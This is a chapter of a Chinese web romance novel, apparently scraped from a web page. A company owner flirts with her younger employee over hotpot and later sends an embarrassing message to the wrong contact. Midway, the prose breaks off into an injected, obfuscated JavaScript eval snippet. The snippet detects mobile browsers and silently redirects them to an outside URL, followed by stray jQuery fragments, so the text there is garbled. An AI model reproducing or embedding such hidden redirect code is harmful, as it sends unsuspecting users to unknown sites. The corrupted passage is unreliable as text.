最后陈池点了个鸳鸯锅。
捕捉到程青时脸上一闪而过的惊讶,陈池笑道:“我吃不了辣。”
刚创业那两年太苦了,根本做不到按时吃饭,饱一顿饿一顿,还得应酬拼酒,早就把胃折腾坏了,再吃辣就真的是不要命。
“不过也不是一点辣都不能吃。”想了想,陈池又微笑道,“就是胃不太好,可以吃点微辣,但不能太重口,待会我吃清汤那锅就行。”
她本意是装个可怜,但没想到程青时一下子就抓住了她的尾巴:“陈总胃不好,怎么还喝酒?”
“啊?”
没想到程青时会反问自己这个,陈池愣了愣。
程青时生了几分耐心,淡声道:“上次陈总不是在酒吧喝多了么?最后是我给陈总当代驾,送陈总回去的。”
陈池瞬间如坐针毡。
程青时视线一直盯在她身上,那几句话又带了些质问的意思,让陈池不自觉地就记起了高中的教导主任。
那是她见过最严厉的老师,也是她最怕的老师,每次对方严厉的目光扫过来,即使语气平平,她都能头皮炸开。
而如今,她竟然在程青时身上找着了几分对方的影子。
真是惊悚。
陈池忙把这莫名其妙的心思压下去,讪笑一声:“应酬而已,偶尔喝点没什么,我酒量不错。”
程青时没再多说。
见她冷冷淡淡的,陈池在心里叹息一声。
程青时紧追不舍吧,她觉得头疼,不知如何应对。程青时不追问吧,她也头疼,觉得程青时一点也不关心自己,好歹自己是她老板。
正怅然若失间,服务员已经把她们这桌的菜推了过来。
陈池作为年长者,自然是得照顾年少的,她主动揽过下菜的活,尽心尽力地往下放东西,又把涮好的肉放进程青时碗里。
“多吃点。”她言简意赅。
程青时低头看了眼自己一下子就装满了的碗,拦住了对方再次夹肉过来的动作。
“够了,我自己会夹。”
“好吧。”
陈池只得把那块肉放在自己碗里。
辣锅涮过的肉辛辣有味,只一口,陈池就吃得喉咙冒火,赶忙喝了好几口饮料才堪堪压住。
再看程青时,这么辣的东西,吃得面不改色,可见是真的能吃辣。
不过虽然脸上看不出什么,唇却被辣得通红,程青时本来就白,薄唇被辣得又红又肿后,就显得格外扎眼。肉嘟嘟、粉嫩嫩的,看着就让人想亲。
陈池眸色幽深,霎时感受到了什么叫秀色可餐。火锅再好吃,也比不上眼前人的模样可口。
蓦地,对方突然抬头。
陈池没有移开视线。
“陈总,你那锅的东西再不吃就要化了。”程青时率先开口。
闻言,陈池垂眸看向清汤锅,汤在沸腾,菜和肉在锅里各种翻滚,满满当当都没吃多少。
她轻咳一声,正要拿公筷去夹,就见一只手横了过来。
只见程青时面色平淡地夹了锅里的菜,就如刚刚的她一样,将锅里的东西通通放在她碗里。
不大的碗瞬间被填满。
程青时的动作还没停,将彼此锅里的东西差不多清掉后,她又放了些东西进去。
动作不急不缓,看着就让人觉得赏心悦目。
不过这样一来,就是程青时照顾自己了。想想两个人隔了六岁的年龄差,陈池还没脸皮厚到让比自己小六岁的程青时来照顾自己。
“我来吧。”她把活夺过来,眉眼弯弯,“怎么能让你来做这些呢?”
“怎么不能?”程青时提醒,“我是你的员工,为老板服务是我的荣幸。”
好一句溜须拍马的话,竟然是出自程青时的口,陈池有些想笑。
她忍着笑,一本正经道:“我觉得我们应该算朋友了。”
程青时安静地把嘴里的东西吃完,这才抬头:“怎么说?”
“你已经来过我家做客,我们还一起吃过几顿饭,这还不算朋友吗?”陈池理直气壮。
“做客?”程青时重复这两个字,“没记错的话,我是去陈总家工作。”
陈池:“差别不大。”
差别大着呢。
但程青时看出陈池的胡搅蛮缠,不想和她过于纠缠,索性默认。
她不知道,在某种关系上,一旦让步,一旦妥协,对方就会变本加厉,紧追不舍。
陈池弯唇笑道:“既然是朋友,我们之间就不用这么客气,有事你尽管找我。”
程青时抬头:“其实第一眼看见陈总,我就觉得很亲切。”
没想到能从程青时嘴里听见这么一句,陈池欣喜若狂:“是吧?其实……”
话还没说完,就听程青时用着最漫不经心的语气,说着让她扎心的话:“陈总瞧着很像我的一位长辈。”
长辈……
亲切……
陈池脸上的表情都差点绷不住,好半晌才挤出一句话:“其实我只比你大几岁,咱俩是同辈,你可以把我当姐姐。”
就算她比陈池大六岁,那也不至于是长辈吧?
陈池心酸极了。
程青时:“把你当姐姐?”
当程青时用她那低沉的声音说姐姐两个字的时候,陈池心里的苦楚瞬间消散,忍了忍,还是没能抑制住嘴角的上挑。
“是呀。”她立马接话,全然没了刚刚的心酸,眉眼间都染着笑,“你看你,一个人背井离乡,在陌生的地方打工求学,身边没个帮衬的人怎么行?我看着都心疼。”
说着,她做出心疼的做作姿态。
余光一瞥,见程青时居然对自己的话没什么反应,顿时一惊。
自己演技那么差?
对方不配合,但陈池既然登了台,那硬着头皮都得把这场戏继续演完:
“你把我当朋友,当姐姐都行,有什么烦恼,有什么困难,都可以来找我的。”
不管怎么说,先哄着人亲近自己再说。
“真的可以把陈总当姐姐吗?”
程青时意味不明地问。
“当然。”
见陈池应得毫无心理负担,程青时眸底划过一道讽意,把她当姐姐?
当那种可以一起睡觉的姐姐吗?
说这种话的时候也不知道收敛一下对自己的欲望,眼神这么露骨,即使是坐在喧闹的火锅店,程青时都有一种对方想把自己扒干净往床上带的感觉。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543866|186693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
程青时在心里幽幽叹了口气。
“怎么好占陈总的便宜。”
她收回目光,毫不留情地选择拒绝。
虽然她话说得委婉,但表达的意思却很明确,陈池听了也不纠缠,只失望地叹了口气。
她还以为她们俩的关系能再往前进一步。
没想到程青时就像铜墙铁壁,任她怎么折腾也裂不开一条缝。
不过或许是累着了,毕竟今天是真忙,陈池调整好情绪,继续给程青时献殷勤,一顿火锅下来,程青时的碗就没有空过。
“今天辛苦你了。”结束后,陈池把人送到宿舍楼下,主动停下脚步。
“嗯,谢谢陈总今天的盛情款待。”程青时也客客气气地回。
两个人又客客气气地互道了晚安,这才分开。
陈池一直目送着程青时离开,直到看不见对方的背影才往自己停车的地方走。
现在程青时已经在她店里做事,近水楼台先得月嘛,迟早有一天她能把这朵高岭之花折下来。
不过今天忙活一天,她自己也是真的累着了,一回去她便躺浴缸,打算泡个澡放松一下,岂料越泡越舒服,越舒服越犯困,没多久她就累得在浴缸里睡着了。
最后被冻醒的时候水已经凉了。
要不是水位不高,说不定人都要溺死过去。陈池一阵后怕,脑袋晕晕乎乎,身上也没什么力气,出浴缸的时候,腿又一软,整个人都跌了下去。
也亏得她反应快,及时拿手挡了一下,这才没脸着地。
不过胳膊肘和膝盖都被磕伤,尤其是膝盖,乌青的一大片,就连左胸茱萸也被擦伤,一碰就疼。
这简直是要了陈池的老命,在地上趴了好一会儿才爬起来,强忍着痛,出去拿了医药箱出来给自己消毒擦药。
手脚上的药倒是好弄,但胸前的伤该用什么药,陈池却有些为难。
她泡澡泡得太久了,脑袋都还有些昏昏沉沉,努力想了想,她决定问问裴宁宁。
裴宁宁的微信很好找,陈池早就把她置顶,点进去便开始敲字发送:
——你上次胸被女朋友咬破皮的时候用的是什么药来着?
等了好久都还没等到裴宁宁回消息,陈池哪哪都不舒服,不耐烦起来,催促:
——说话!
——十万火急!我胸口破皮了,得擦什么药啊啊啊啊啊!疼死了!
这回,对方总算回了消息:
——抱歉,没有被人咬过,不清楚用药。
嗯?
陈池懵了懵。
裴宁宁在和自己装什么?上次不是和小女友玩得太过,对方把她的胸口都咬破皮了吗?
这让裴宁宁抱怨了好几天,还因为这个和小女友分了手,据说是擦了药才好一点。
不然陈池也不会拿这种事问她。
不过这语气……
陈池定了定神,突然有个大胆的想法,立马变得僵硬起来,抬头看向聊天界面的顶端。
一个大写的C赫然停在那。
陈池如遭雷击,下意识地想要把消息撤回。可惜,现在早已过了撤回时间,而且对方已经看见消息,还回复了她,就算是真的撤回了,那也只是掩耳盗铃。